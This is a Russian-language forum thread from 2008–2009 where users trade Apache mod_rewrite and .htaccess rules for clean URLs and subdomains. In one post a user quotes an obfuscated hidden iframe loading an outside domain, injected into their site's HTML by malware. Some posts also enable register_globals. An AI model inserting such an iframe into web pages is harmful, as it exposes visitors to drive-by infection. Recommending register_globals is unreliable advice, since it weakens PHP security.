Обсуждение ModRewrite

1. Tony V (19.06.2008 / 12:06)
mod_rewrite - подмена URL
# Опция FollowSymLinks разрешает Apache видеть символьные линки для обслуживания запроса, даже если файл не входит в каталог, содержащий веб-файлы.
Options +FollowSymLinks
# Включаем mod_rewrite для текущей директории
RewriteEngine On
# Устанавливаем переадресацию из корневой папки
RewriteBase /
## Далее следуют правила переадресации
# Данный код переадресует site.ru/qwertyuiop на site.ru/index.php?query=qwertyuiop
RewriteRule ^([a-z]+)/$ index.php?query=$1


2. Слафчик (19.06.2008 / 12:13)
очень не плохо) а как использовать по подробнее можно?)

3. Tony V (19.06.2008 / 12:26)
Приемущества ModRewrite
* Сайт лучше индексируется поисковиками
* Более короткая адресная строка
* Возможность создавать виртуальные поддомены
Недостатки:
* Таковых я не знаю, но количество переменных в адресе не более 9

4. Слафчик (19.06.2008 / 12:27)
а наоборот? из
site.ru/news.php?category=web&id=1234
в
site.ru/news/web/1234 как?)

5. Tony V (19.06.2008 / 12:39)
чет я не понял

6. Слафчик (19.06.2008 / 13:11)
ну ты в первом посте показал одно, а обьяснил обратное)

7. Tony V (19.06.2008 / 13:15)
ну я имел ввиду это

8. ШЕДЕВР (20.06.2008 / 20:45)
4, поддомены тоже? А как?

9. ШЕДЕВР (20.06.2008 / 20:47)
Вопрос! Как через модреврайт передать кирилицу?

10. Neformat (21.06.2008 / 19:35)
#3
Если ошибка 500, то добавляем строку Options +FollowSymlinks после RewriteEngine on которая разрешает использование одноименной конфигурационной дерективы. Options SymLinksIfOwnerMatch - эта директива лишняя, и вызовит дополнительную нагрузку. А эта деректива Options +Indexes вообще тут и на фиг не нужна - это разрешения листинга каталога.
Ошибку 403 из за мод реврайт можно получить лиш в одном случае - если ты юзера редеректишь с ошибкой 403 при выполнении какого то условия.

11. ШЕДЕВР (21.06.2008 / 22:36)
а на мой вопрос кто ответит? пост в10 ...

12. Удаленный (21.06.2008 / 22:52)
Элвис, адля чего кириллицу в реврайте передавать? В URL имеешь ввиду?

13. Tony V (23.06.2008 / 15:51)
В .htaccess включаешь Mod_Rewrite
RewriteEngine on
Если выдаёт ошибку 500 или 403, пиши перед включением эти 3 строки
Options FollowSymLinks
Options SymLinksIfOwnerMatch

Дальше задаёшь правила
Например:
RewriteRule ^([a-z0-9]*)/?$ index.php?module=$1 [L,QSA]
Перенаправляет ссылку site.ru/news на index.php?module=news
(вместо news любое слово на английском языке, так же может содержать цифры)
[Отредактировано: ZooM - 23.06.08/15:51]

14. Удаленный (23.06.2008 / 15:52)
Я не так делаю, и не спорьте, гг (пример):
RewriteEngine On
Options +FollowSymlinks
RewriteBase /
# http://site.ru/forum/5/1/print/session.txt
RewriteRule ^([0-9]+)/([A-Za-z0-9]+)/([A-Za-z]+)/([A-Za-z0-9]+).txt$
postslist.php?p=$1&page=$2&mod=$3&sid=$4
все отлично работает!
[Отредактировано: ZooM - 23.06.08/15:52]

15. Удаленный (23.06.2008 / 19:04)
15,вот так: %D0%B2%D0%B0%D1%81%D1%8F

16. Удаленный (23.06.2008 / 20:00)
http://tibiaclan.ru/user/1 анкета, http://tibiaclan.ru/files/load/56 ссылка на файл))) удобная штука конешн

17. Слафчик (23.06.2008 / 21:24)
нехира недопрёт до меня) выложите пжалста пример вашего .htaccess
с вашими ссылками уже готовыми =)

18. ШЕДЕВР (24.06.2008 / 13:58)
18, читал 12 пост? Там вроде понятно...

19. ШЕДЕВР (25.06.2008 / 12:19)
14. Stanisov, да... вот смотри у меня на сайте (в знакомствах) каждый юзер имеет свою страничку... по ID и логину... например моя анкета site.ru/14 (посредством ID).... а вот через ник site.ru/User ... а вот у некоторых ники на русском... И надо чтобы реврайт понимал кириллицу... например мой ник Юзер. и чтобы можно было site.ru/Юзер ...
[Отредактировано: ZooM - 25.06.08/12:19]

20. Удаленный (26.06.2008 / 02:32)
Peгуляpka вeщь...

21. ШЕДЕВР (26.06.2008 / 07:10)
20, на счет?

22. Николай (26.06.2008 / 16:05)
Такой вопрос6 выходит,что необходимо самому прописывать ссылки вида site.ru/news/1 на странице? и если у хостера не дают htaccess.то придется переделывать все ссылки?

23. Николай (26.06.2008 / 16:06)
И еще,в ссылке postslist.php?p=$1&page=$2&mod=$3&sid=$4 на символ & большая опера не будет ругаться? А то добивает ошибка анализа xml

24. Удаленный (27.06.2008 / 06:22)
#22. ога, #23 & пиши вместо &

25. нннн (27.06.2008 / 20:43)
Хэлп ми, господа друзья товарищи)) как с помощью этой штуки заставить при обращении к поддомену name.site.ru переходить к site.ru/name ??

26. Удаленный (27.06.2008 / 21:46)
25. Tипa тak
RewriteRule ^([a-zA-Z]+)\.site.ru/ /$1/


27. Удаленный (27.06.2008 / 21:49)
Tak пpaвильнeй
RewriteRule ^([a-zA-Z\-_0-9]+)\.site.ru/? /$1/


28. ШЕДЕВР (29.06.2008 / 00:21)
Разве не site.ru/$1 ?

29. Удаленный (29.06.2008 / 01:54)
28. A paзницa? И тak oт бaзы cчитaeт

30. ШЕДЕВР (29.06.2008 / 02:19)
29, ты не в курсе данный реврайт (RewriteRule ^([a-zA-Z\-_0-9]+)\.site.ru/? /$1/) должен на денвере пахать?

31. Удаленный (29.06.2008 / 02:23)
Нe знaю. Я vertrigo юзaю.

32. ШЕДЕВР (29.06.2008 / 02:29)
uberion, вертиго - это на подобии денвера? там он работает?

33. ШЕДЕВР (29.06.2008 / 02:31)
по умолчанию если на несуществующий поддомен перейти, то он должен ... ??? например если я пишу blabla.test.ru, он должен открыть test.ru? у меня почему-то пишет Невозможно подключиться к удаленному серверу

34. Максим (29.06.2008 / 03:36)
RewriteEngine On
RewriteCond %{REQUEST_URI} !^/name
RewriteCond %{HTTP_HOST} ^name.
RewriteRule ^(.*)$ name/$1 [L]
#25, вот так. ^^^

35. ШЕДЕВР (29.06.2008 / 08:26)
Вместо нэйма адрес сайта?

36. нннн (29.06.2008 / 08:57)
Сэнкс)

37. Максим (29.06.2008 / 12:10)
#35, папка которую поддоменом делать будешь.

38. Удаленный (29.06.2008 / 12:32)
насчет кириллицы в мод рерайте. не уверен, но по моему в Википедии как раз пример такой комбинации. движок можно скачать бесплатно и порыться, кому нужно.

39. нннн (29.06.2008 / 12:47)
#38 движок вики? 0_o

40. ШЕДЕВР (29.06.2008 / 13:18)
38. ОкСиТоЦиН, где скачать его???

41. ШЕДЕВР (29.06.2008 / 13:33)
37. Макс, на денвере он должен пахать???

42. Удаленный (29.06.2008 / 13:35)
http://lists.wikimedia.org/pipermail/mediawiki-announce/2008-March/000072.html

43. Максим (29.06.2008 / 14:42)
#41, не знаю. Должен наверно. У меня на хосте пашет.

44. ШЕДЕВР (29.06.2008 / 15:28)
43, а ничего если когда заходишь на не существующий поддомен, пишет Нет ответа от шлюза. Например test.arbuz.tj

45. Максим (29.06.2008 / 15:32)
Х.з. А че папку тест создать и проверить никак?

46. ШЕДЕВР (29.06.2008 / 17:12)
45. Макс, да, я уже проверил.. пишет что сервер не найден... поэтому спрашиваю, может что на сервере подправить?

47. ШЕДЕВР (29.06.2008 / 17:14)
RewriteEngine On
RewriteCond %{REQUEST_URI} !^/name
RewriteCond %{HTTP_HOST} ^name.
RewriteRule ^(.*)$ name/$1 [L] //здесь вместо name поставить другое название? например chat? и ссылка должна быть: chat.arbuz.tj, а откроется arbuz.tj/chat ??? правильно? а у меня пишет: Невозможно найти удаленный сервер

48. Максим (29.06.2008 / 17:19)
На сервере значит чет. Я на айолке тэстил и все работает.

49. ШЕДЕВР (29.06.2008 / 19:44)
Жаль(((

50. Удаленный (30.06.2008 / 14:48)
Как сделать перенаправления с сайта site.ru на wap.ru? Чтобы все страницы так переадресовывали

51. ШЕДЕВР (30.06.2008 / 17:36)
50, как все страницы? Не понятно. Если простую переадресацию, то через хеадер локатион вап.ру

52. Удаленный (01.07.2008 / 08:57)
Чтобы при запросе любой страницы на этом домене, перебрасывало на такую-же страницу другого домена. Например запросли site.ru/game, перебросило на wap.ru/game, запросили site.ru/java.jar перебросила на wap.ru/java.jar

53. Удаленный (02.07.2008 / 01:53)
RewriteRule ^/(.*?) wap.ru/$1 [R] типa тak

54. Ванёк (14.07.2008 / 16:55)
никто незнает почему DirectoryIndex с ModRewrite неработает?

55. ШЕДЕВР (14.07.2008 / 23:47)
54, реврайт до директорииндекс? или наоборот?

56. Ванёк (15.07.2008 / 00:09)
55,и до и после пробывал...

57. Мохьмад (15.07.2008 / 08:50)
A в чате рейврат будет преврашать анкеты в ссылки типа "site.ru/1" 1 это ид анкеты?

58. Ванёк (15.07.2008 / 16:50)
мне кто-нибудь скажет???

59. ШЕДЕВР (17.07.2008 / 22:28)
56, покажи свой хитачес. скинь в приват. может ошибка в другом...

60. ШЕДЕВР (17.07.2008 / 22:33)
57, можно конечно. Вот у меня можно и по ID и по Логину (если Логин на латинском). Пример: http://arbuz.tj/10 У меня ник на русском. или пробуй http://arbuz.tj/XENON_X_men . Если хочешь такой же обращайся, помогу ...

61. ШЕДЕВР (17.07.2008 / 22:46)
57, это типо как на my.mail.ru ... Там тоже страница юзера my.mail.ru/ЭЛ_ПОЧТА ... Это очень удобно. А ещё через него можно сделать новости быстродоступными и удобными... А еще сделать для файлов... :-) Я сам был так рад, когда начал шарить в реврайт :-D

62. ШЕДЕВР (18.07.2008 / 00:55)
58, Я сейчас себе сделал реврайт с директиндексом - робит! наверное у тебя там ошибка в коде... Давай код, заюзаем...

63. Ванёк (18.07.2008 / 01:00)
я его снёс
Типа:
DirectoryIndex index.php?&wap=xhtml&act=top
php_flag register_globals On
RewriteEngine on
Options FollowSymLinks
Options SymLinksIfOwnerMatch
RewriteRule ^([a-z0-9]*)/?$ index.php?wap=$1 [L,QSA]

64. ШЕДЕВР (18.07.2008 / 01:11)
DirectoryIndex index.php?&wap=xhtml&act=top //зачем "?" а потом сразу "&" (?&) ?? замени всё на
Options +Indexes
Options FollowSymLinks
Options SymLinksIfOwnerMatch
RewriteRule ^([A-za-z0-9]*)/?$ index.php?wap=$1 [L,QSA,NC]
php_flag register_globals On
DirectoryIndex index.php?wap=xhtml&act=top


65. ШЕДЕВР (18.07.2008 / 01:12)
63, если заработает, в чем Я не сомневаюсь, поставь + :-)

66. ШЕДЕВР (18.07.2008 / 01:13)
63, хотя Я смысл твоего реврайта не понял... Что ты с ним хотел сделать? какой эффект ждёшь???

67. Ванёк (18.07.2008 / 12:51)
65,попробую,знак вопроса незаметил ..
Эфект реврайта:index.php?wap=xhtml(site/xhtml) и c wml также)))

68. ШЕДЕВР (19.07.2008 / 21:36)
67, аааа))

69. ШЕДЕВР (19.07.2008 / 21:37)
67, чес говоря это лучше сделать по др схеме... Есть же скрипты автоопределения?

70. Ванёк (19.07.2008 / 22:02)
да мне ненадо пока автоопределения,,мне просто нада заменить всё реврайтом для понта...)

71. ШЕДЕВР (20.07.2008 / 16:46)
70, гыгыгы)))

72. Ванёк (20.07.2008 / 17:54)
терь директорииндекс пашед,а реврайт нет(((

73. ШЕДЕВР (20.07.2008 / 18:07)
Хехехе)))

74. ШЕДЕВР (12.08.2008 / 19:30)
Как сделать такой ЧПУ: site.ru/arbuz.tj (далее обработчик обрабатывает это... выводит все новости с этого сайта)
RewriteRule ^([A-Za-z0-9]*)/?$ index.php?author=$1 [L,QSA,NC]
точка (.) не передается. он НЕ правильно передаёт! стр без не читаемой становится... как передать дом.знаки? мне только точку нужна... .A-Za-z0-9 такие варианты пробовал...

75. ШЕДЕВР (14.08.2008 / 09:05)
Или заменять точки... А потом их возвращать... Как думаете???

76. Protus (18.08.2008 / 17:02)
помогите переделать чтоб обращалось
index.php?id=2085&n=slovo
при запросе
/2085/slovo.jar

77. Protus (18.08.2008 / 17:41)
ау.. гении вы де?

78. Protus (19.08.2008 / 11:11)
эх.... придется опять пальцем в небо тыкать, авось попаду

79. Евгений (20.08.2008 / 23:08)
хмм вот может кому интересно... автоматический генератор mod_rewrite
http://test/modRewrite/index.php

80. Евгений (20.08.2008 / 23:13)
хмм вот может кому интересно... автоматический генератор mod_rewrite
http://test/modRewrite/index.php

81. Евгений (20.08.2008 / 23:15)
http://test/mod_rewrite/index.php сори вот ссылка

82. Евгений (20.08.2008 / 23:16)
http://wincms.info/mod_rewrite/index.php мля уважаемые модераторы удалите предыдущие мои сообщения

83. Александр (21.08.2008 / 14:26)
#82 Warning : Unknown: open(/home/xass/tmp/sess_W INsj8 , O_RDWR) failed: Permission denied (13) in Unknown on line 0
Warning : Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct () in Unknown on line 0

84. ШЕДЕВР (21.08.2008 / 22:13)
82, круто. но там не все способы и виды...

85. Алексей (23.08.2008 / 07:13)
тест!

86. Евгений (23.08.2008 / 21:54)
да чтото с сессиями траблы на хосте ... переодически всплывает

87. Ванёк (23.08.2008 / 22:46)
RewriteRule ^([0-9]+)/?$/anketa info.php?id=$1&s=anketa [L,QSA]
что я делаю не так? sad

88. Darko (26.08.2008 / 02:26)
How to add virtual subdomain on http://wapmaster.iz.rs? I want to add e.g. http://chat.wapmaster.iz.rs???

89. ШЕДЕВР (26.08.2008 / 19:20)
87, а че в адр.строке? Цифры только?

90. ШЕДЕВР (26.08.2008 / 19:22)
88, when I will be in PC, Im writing needed code for U. Надеюсь поймет)))

91. ШЕДЕВР (26.08.2008 / 19:24)
87, и лучше напиши Что вообще есть в хитачесе касающийся чпу.

92. HEX (21.09.2008 / 15:48)
Как сделать, чтоб переадресовывало с /pages/xxx/yyy на /?dir=xxx&file=yyy

93. Tony V (25.09.2008 / 16:13)
RewriteEngine on
RewriteBase /
RewriteRule ^pages/([A-Za-z0-9]*)/([A-Za-z0-9]*)/?$ /index.php?dir=$1&file=$2 [L,QSA]


94. Удаленный (02.10.2008 / 18:33)
Как такое реализовать в реврайте? а конкретно пхп селф.
echo "<meta http-equiv=\"refresh\" content=\"$refresh;url=".$_SERVER['PHP_SELF']."?ver=html&amp; rid=$rid&amp;nocache=$nocache\"/>\n";


95. Удаленный (02.10.2008 / 19:00)
всё сам сделал
RewriteRule ^url/([a-z0-9]*)/([a-z0-9]*)/([a-z0-9]*)/?$ url=$1&ver=$2&rid=$3&nocache=$4 [L,QSA]


96. HEX (15.10.2008 / 01:10)
ZooM, спасибо, ато с регулярками я постоянно парюсь.
Ваш положительный голос за пользователя ZooM успешно оставлен!
В данный момент его авторитет: 25
Всего положительных голосов: 125
Всего отрицательных голосов: 100

97. Александр (16.10.2008 / 23:07)
а что означают буквы типа [L,QSA]?

98. HEX (21.10.2008 / 19:54)
Как сделать, чтоб переадресовывало с /login:pass на /login.php?log=login&par=pass М?

99. Parviz (22.10.2008 / 00:05)
мне бы тоже что нить похожее, заранее благодарен:
Как эту ссылку можна сократить? http://адрес_сайта/aulog.php?id=ZZZ&password=XXX&ver=html

100. Евгений (22.10.2008 / 03:13)
#98,
 RewriteRule ^/([A-Za-z0-9]*):([A-Za-z0-9]*)/?$ /login.php?log=$1&par=$2 [L,QSA] 


101. Евгений (22.10.2008 / 03:16)
Опять мотор накосячил. Вместо <img ...> надо : ( без пробелов

102. HEX (22.10.2008 / 09:53)
hintoz, нипалучается. sad

103. Артём (26.10.2008 / 14:57)
Подскажите как сделать в чате вместо id=1&ps=123 сделать так chat/1/123/ ?

104. Булат (01.11.2008 / 07:22)
103. твой статус на сайте и вопрос не совместимы

105. Удаленный (06.11.2008 / 19:16)
How to make virtual subdomain? Thanks!

106. Сергей (06.11.2008 / 19:27)
104, тут таких кодеров дохрена))

107. Удаленный (07.11.2008 / 19:22)
RewriteRule ^(.*)\.mazafaka$ $1.php [L]
как сделать чтобы при наборе допустим index.mazafaka генерил index.php (что он и делает), но надо чтоб есле набрали index.php то 404 к примеру.. и вобще можно ли так?

108. Удаленный (07.11.2008 / 19:25)
103,
RewriteRule ^chat/([0-9]*)/([a-z0-9]*)/?$ chat.php?id=$1&ps=$2 [L,QSA]
есле файл chat.php реврайтим... есле другой то соотвецтвенно меняй название.

109. Удаленный (09.11.2008 / 01:53)
Can anyone help me?

110. Павел (09.11.2008 / 02:04)
Чё?ыЫ

111. Сергей (21.11.2008 / 10:08)
как в самом скрипте зделать автозамену ссылок на Ч.П.У.? И htaccess правивильно прописать флаги

112. Сергей (22.11.2008 / 11:55)
Никто не подскажет?

113. Деня (26.11.2008 / 21:33)
ч.п.у это?

114. Павел (26.11.2008 / 21:51)
Типа человеку понятный урл

115. Деня (28.11.2008 / 15:45)
вьехал в эту шнягу за день, штука классная=))

116. Удаленный (29.11.2008 / 18:46)
Ребят, в реврайте не шарю, прошу помочь. может составил не правильно, но суть ясна:
 RewriteRule ^/profil/([A-Za-z0-9]*)/?$ /pages/anketa.php?id=$1 [L,QSA] 


117. Удаленный (29.11.2008 / 18:47)
короч /profil/Shift на /pages/anketa.php?id=Shift

118. Алексей (29.11.2008 / 18:50)
Options FollowSymLinks
RewriteEngine on
RewriteRule ^profile/[a-zA-Z0-9]/?$ /pages/anketa.php?id=$1


119. Алексей (29.11.2008 / 18:51)
*RewriteRule ^profile/([a-zA-Z0-9]*)/?$ /pages/anketa.php?id=$1

120. Удаленный (29.11.2008 / 19:02)
404 ((( оба метода попробывал

121. Алексей (29.11.2008 / 19:05)
Options FollowSymLinks
RewriteEngine on
RewriteBase /
RewriteRule ^profil/([a-zA-Z0-9]*)/?$ /pages/anketa.php?id=$1
у меня однажды выбивало 404 из за неправильной кодировки файла htaccess

122. Алексей (29.11.2008 / 19:06)
*
RewriteEngine on
Options +FollowSymlinks
RewriteBase /

123. Удаленный (29.11.2008 / 19:09)
О, спасиб... у меня .htaccess был в utf-8... Плюс поставлю как только из бани выйдет основной ник... или когда тут наберу 150 баллов

124. СанЯ (12.12.2008 / 21:16)
Как с помощью этого модп страницы php в htnl переделывать?

125. СанЯ (13.12.2008 / 08:20)
всё, уже понял
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^guest.html$ 111.php? [QSA]


126. СанЯ (13.12.2008 / 08:31)
ту как то сидел на одном форуме и увидел одну вещь. sadad.ru/forum-1-2-3-4.html Это как так сделанно что(1-2-3-4)? Кто нибудь может объяснить по подробнее

127. СанЯ (13.12.2008 / 11:25)
Ыы и это уже не надо)

128. Сергей (17.12.2008 / 23:56)
с хтачесом разобрался,подскажите как в скрипте сделать автозамену ссылок что б не переписывать весь скрипт

129. sklep (18.12.2008 / 00:54)
Так тему не читал но что необходимо с ModRewrite помогу по привату или лучше тут за +

130. Arab (18.12.2008 / 11:25)
и на профисмарте такая штука.
когда переходишь по ссылке http://profismart.ru то главная страница открывается
А когда переходишь на http://profismart.ru/index.php то открывается форум

131. Сергей (18.12.2008 / 22:32)
129 Вопрос.128

132. ШЕДЕВР (21.12.2008 / 13:21)
130, это и без чпу сделать можно. С компа буду, напишу код.

133. Titov (31.12.2008 / 00:36)
Если переменная содержит точки как её правильно переделать под мод реврайт? Например переменная url=wap.site.ru

134. Arab (05.01.2009 / 16:57)
а элвис с тех пор еще за комп не садился )

135. Александр (05.01.2009 / 17:17)
131 наверно экранировать обратный слэши и точка.

136. Удаленный (29.01.2009 / 21:19)
RewriteRule ^loads/([a-z0-9]*)/([a-z0-9]*)/?$ loads/index.php?act=$1&start=$2 [L,QSA]
надо
http://adress.ru/loads/index.php?act=anal&start=1
заменить на
http://adress.ru/loads/anal/1
как правильно в .htacess записать?
---
нифига не получается)

137. Удаленный (29.01.2009 / 21:43)
отбой, помогли уже

138. Удаленный (05.02.2009 / 03:06)
Как исправить это: http://site.ru/modules/zagruz/index.php?kat=qqq&dir_kat=ddd&kategor=sss&date=bbb&vie w=vvv
на http://site.ru/qqq/ddd/sss/

139. Вусал (08.02.2009 / 10:18)
а можно сделать так index.php?action=news => /news и допустим 2m.php?action=game => /game , т.е. сделать два rewraite в корень?

140. Вусал (08.02.2009 / 10:18)
так можно делать?

141. Сергей (08.02.2009 / 11:30)
Можно.Прочти хорошенько тему.

142. Вусал (08.02.2009 / 14:21)
не получается! пишу site.ru/game он ищет из файла index.php?action=game , а надо из 2m.php?, какой тут есть нюанс?

143. Вусал (08.02.2009 / 14:36)
да всё отбойsmile там кажется надо правильно по порядку писать

144. Удаленный (13.02.2009 / 23:18)
как перевести сыль http://site.ru/go.php?id=1
в http://site.ru/go/1

145. Вусал (14.02.2009 / 00:33)
легко и простоsmile читай с начала, сам всё поймешь!!!!!!!!

146. Удаленный (14.02.2009 / 12:38)
145/ я не тебя спрашивал а форум

147. нннн (14.02.2009 / 13:20)
#146 форум не ответит, он скрипт sad читай и понимай, бесполезно что-то объяснять в сотый раз тому кто не понимает... Прочти, все в теме описано...

148. Titov (15.02.2009 / 18:03)
144.
RewriteEngine on
Options FollowSymLinks
Options SymLinksIfOwnerMatch
RewriteRule ^go/([a-z0-9]*)/?$ go.php?id=$1 [L,QSA]

149. Fanis (15.02.2009 / 18:07)
146. Ыыы.. Разве он не ответил? По-моему в этой теме всё разжевали..

150. Андрюха (25.02.2009 / 08:23)
Как из ссылок вида site.ru/files/dir/dir/file.jpg преобразовать в site.ru/35819638 и при переходе начало качать???

151. Андрюха (25.02.2009 / 08:25)
Извинияюсь,не качать,а на описание файла

152. Андрюха (25.02.2009 / 08:31)
Извиняюсь,не так сформулировал. Надо из ссылки вида site.ru/files/index.php?a=dir&b=dir&file=file.jpg преобраовать в site.rv/1945567

153. Lugaro (25.02.2009 / 11:00)
152 Нельзя, можно только в такую site.ru/files/dir/dir/file.jpg

154. Arab (25.02.2009 / 11:29)
153, а на profismarte как сделали?

155. Андрюха (25.02.2009 / 12:03)
Или например upwap

156. Сергей (25.02.2009 / 12:35)
154, там запрос к базе идет, а не к файлу

157. Arab (25.02.2009 / 13:40)
156, напишешь как?

158. Lugaro (25.02.2009 / 13:49)
157 ну к примеру храниш путь к файлам в базе и передаеш GET'ом файлу обработчику id файла потом выдаеш юзверяге файл

159. Titov (28.02.2009 / 11:40)
напишите кто нить РАБОЧИЙ пример перенаправления с поддомена типо с chat.site.ru нада перенаправить на site.ru/chat/ уже кучу вариантов перепробовал пишит сервер не найден

160. Tony V (28.02.2009 / 13:19)
159, обычно это в панели управления сайтом делается

161. Юрий (28.02.2009 / 14:22)
А ктонибудь может по всем флагам справку написать или ссылку где прочитать,нашел на английском но после перевода все настолько размыто выгледитsad или так или так! знаю несколько , а остольные загадка пока , [R] хорошо при отладке, будет высвечиватся реальная строка которую заменяем,[L] вроде остановится на этой стоке и прекратить дальнешие использование ModRewrite,а воще подводных каней много , чтото работает а с чемто парюсь

162. -NoX- (08.03.2009 / 09:40)
как сделать так чтоб категории отображались так http://site.rucategory/номер категории а не так как счасу мя http://site.ru/top.php?category=номер категории

163. Удаленный (08.03.2009 / 14:06)
RewriteRule ^([a-z-A-Z0-9_]+)/+$ top.php?category=$1 [QSA,L]
попробуй в хитаччес добавить. у меня работает.

164. -NoX- (08.03.2009 / 17:34)
не так не подходит
RewriteRule ^category/([a-z0-9]*)/?$ top.php?category=$1 [L,QSA]
вот такой код подошел но когда нажимаешь на следуйщую страницу то пишеться что ненайдено на сервере http://dacat.ru/category/6/5 вот страница

165. ly4 (28.03.2009 / 16:04)
http://htaccess.net.ru/doc/mod_rewrite/RewriteRule.php - вот гугле нашел, мож кому пригодится...

166. Дмитрий (28.03.2009 / 16:44)
Действительно все описано! Спасибо!

167. Emin (18.04.2009 / 22:05)
Ребята как сделат чтоб место http://test.ru/motor/ было http://motor.test.ru

168. Саня (18.04.2009 / 22:24)
167, все ето мод реврайт smile
Вот полный код для одного поддомена forum.site.domain.ru:
Код:
RewriteEngine On

RewriteCond %{REQUEST_URI} !^/forum
RewriteCond %{HTTP_HOST} ^forum.
RewriteRule ^(.*)$ forum/$1 [L]
Форум должен лежать в папке forum.
Для иных поддоменов заменить forum на желаемое. Соответственно изменится и папка.
.htaccess должен лежать в корне ftp
напиши етот код в .htaccess

169. Emin (18.04.2009 / 22:47)
Ребята новая проблема:
в html файлах появляется строка
 <iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe> 
это и ранше было но после реанимаци прошло. Но и реестер и диспедцер задач тоже закрыты. В реестере пишет Реестер запрешён администратором системы. Как это убрат???

170. Emin (18.04.2009 / 23:00)
И ещё я место forum написал myaz и по этому адрес должен быт http://myaz.test.ru но пишет ошибку.

171. Arab (16.05.2009 / 12:50)
я попробовал для своего скрипта так же как Shift спрашивал тут для "anketa.php?uz"admin -> anketa/admin"
никакой реакции..

172. Arab (16.05.2009 / 12:53)
я обновлял страницу /loads/rz.php?i=1 не получается. перехожу на него с другой страницы тоже тез толку

173. Удаленный (16.05.2009 / 13:03)
Options +MultiViews +FollowSymlinks
RewriteEngine on
RewriteBase /
RewriteRule ^user/([a-z-0-9]+)(/?)$ anketa.php?uz=$1
site.ru/user/admin
так попробуй

174. Arab (17.05.2009 / 09:51)
спасибо ramzes, получилось. только теперь все ссылки сайт/user/amin вручную указывать?

175. Arab (17.05.2009 / 12:20)
во всем разобрался все почти окей только если в имени таблицы есть видимый пробел _ то модреврайт его не понимает черт возьми

176. Lugaro (17.05.2009 / 18:04)
170 ну так добавь его в шаблон...

177. Lugaro (17.05.2009 / 18:05)
176=>175 гг

178. Arab (17.05.2009 / 19:48)
176, да как то не подумал. надо было всего то [a-zA-Z0-9_]

179. Саня (26.05.2009 / 17:20)
Доброва сдравия народ, хочу спросить че не робит че не так? RewriteRule ^papka/numb/([0-9A-Za-z]+)$ /papka/numb.php?p=$1
.htaccess лежит в папке papka, вроде норм все а урл создавать не хочетsad

180. Саня (26.05.2009 / 18:45)
народ где вы все....

181. Саня (28.05.2009 / 14:26)
Или вот че не робит
RewriteRule ^gor/numbs/$ /gor/numbs.php
перехожу по site.ru/gor/numbs/ пишет нету такова адресаsad

182. Arab (14.06.2009 / 08:47)
181, в корневом htaccess пишешь?
RewriteRule ^gor/numbs/$ /gor/numbs.php
красная наклонная кажется лишняя.
Еси не получится то пробуй убрать и эту красную наклонную:
RewriteRule ^gor/numbs/$ /gor/numbs.php

183. Neformat (14.06.2009 / 11:40)
Возможно ли заменить:
site.ru/любая_страница.php?var1=1&var2=2
на
site.ru/1/любая_страница.php?var2=2
не прописывая для каждой страницы?

184. Станислав (15.06.2009 / 17:49)
Такс, вот смотрите, у меня есть ссылка, например http://111.ru/obmenn/files.php?n=189 , как такое преобразовать в http://111.ru/obmenn/file/189?

185. Станислав (15.06.2009 / 18:17)
Вот так попробовал
RewriteRule ^/file/([0-9]+) /files.php?n=$1
Не работает

186. Lugaro (17.06.2009 / 00:57)
185 RewriteRule ^file/([0-9]+) files.php?n=$1

187. Александр (17.06.2009 / 01:04)
183, попробуй, но хз, будет ли работать
RewriteRule ^([a-zA-Z0-9]*)/([a-zA-Z0-9]*).php?var2=([a-zA-Z0-9]*)$ $2.php?var1=$1&var2=$3 [L]

188. Станислав (17.06.2009 / 06:27)
Мм, вот у меня скрипт не в главной директории, а в другой папке, если я прописываю RewriteRule ^file/([0-9]+) files.php?n=$1, то файл files.php ищется в главной директории, а не в той, в которой скрипт. Странно как-то.

189. Lugaro (17.06.2009 / 09:59)
188 а ты тут путь напиши и всё, папка/files.php?n=$1

190. Lugaro (17.06.2009 / 10:09)
188 если htaccess не в корне тогда не знаю

191. Станислав (17.06.2009 / 12:51)
189, 190, ну, я так и делаю, оно работает, но хотелось бы как-то иначе, вдруг папку со скриптом переименуют- придётся и тут менять.

192. Arab (17.06.2009 / 13:16)
191, так часто менять имя папки зачем? ну не трудно же и в htaccess поменять если папку переименовать не лень.
невозможно настроить htaccess чтоб ee содержимое само менялось

193. Димон (27.06.2009 / 11:31)
Допустим у меня есть файл site.ru/name.php
как мне сделать чтоб адресс был site.ru/name ?

194. Вова (27.06.2009 / 11:35)
#193.. тоже интересно..))

195. Arab (27.06.2009 / 20:20)
кажется так
RewriteEngine on
RewriteBase /
RewriteRule ^([0-9]*)?$ $1
или вместо последнего
RewriteRule ^name.php$ name
....
спроси в теме про ModRewrite

196. Ванёк (27.06.2009 / 21:38)
195,а это тема про картошку?D
RewriteEngine on
RewriteBase /
RewriteRule ^([A-Za-z0-9]*)?$ $1.php


197. Димон (28.06.2009 / 22:49)
96. спс.
а как сделать обход index.php?
а то и его приплюсовует сюдаsmile

198. Дмитрий (02.07.2009 / 11:08)
Подскажите, пожалуйста, в чем ошибка в этих правилах.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule ^downloads/([0-9]*)/(txtIfb2)/ /sys/books/$1.$2 [L,QSA]
RewriteRule ^read/([0-9*])/ read.php?id=$1 [L,QSA]
RewriteRule ^download/([0-9]*)/(txtIfb2)/ download.php?id=$1&ras=$2 [L,QSA]
RewriteRule ^genre/([0-9]*)/edit/ genre.php?id=$1&edit [L,QSA]
RewriteRule ^genre/([0-9])*/ genre.php?id=$1 [L,QSA]
RewriteRule ^genre/add/? genre.php?add& [L,QSA]
RewriteRule ^genre/? genre.php [L,QSA]
RewriteRule ^authors/ authors.php [L,QSA]
RewriteRule ^authors/(i*)/ authors.php?liter=$1 [L,QSA]
RewriteRule ^genre/([0-9]*)/ genre.php?id=$1 [L,QSA]
RewriteRule ^genre/([0-9]*)/up genre.php?id=$1&up [L,QSA]
</IfModule>


199. Дмитрий (02.07.2009 / 11:09)
Вроде бы всё правильно, но не работает. Подскажите, пожалуйста.

200. скрыто = )) (03.07.2009 / 03:41)
После превращения сылки в сайт.ру/бпа/02
Что куда писать?

201. Саня (03.07.2009 / 05:14)
Спецы, че не робит?
RewriteRule ^papka/(.*?)/?(.*?)$ papka/in.php?abc=$1&f=$2
тупа белый лист выводит

202. Евгений (03.07.2009 / 07:54)
У меня XAMPP for Linux 1.7.1
Где можно посмотреть установленные в нем модули?
phpinfo ?
Если да, то где именно

203. Удаленный (05.07.2009 / 09:54)
